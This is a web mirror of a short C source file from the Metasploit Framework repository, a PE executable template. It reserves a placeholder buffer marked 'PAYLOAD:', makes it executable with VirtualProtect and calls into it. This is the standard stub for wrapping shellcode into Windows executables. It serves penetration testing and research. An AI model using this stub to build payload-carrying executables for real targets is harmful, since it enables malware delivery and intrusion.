Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/data/templates/src/pe/exe/template.c
32109 views
1
#include <windows.h>
2
3
#define SCSIZE 4096
4
char bPayload[SCSIZE] = "PAYLOAD:";
5
6
void main() {
7
DWORD dwOldProtect;
8
VirtualProtect(bPayload, SCSIZE, PAGE_EXECUTE_READWRITE, &dwOldProtect);
9
(*(void (*)()) bPayload)();
10
return;
11
}
12
13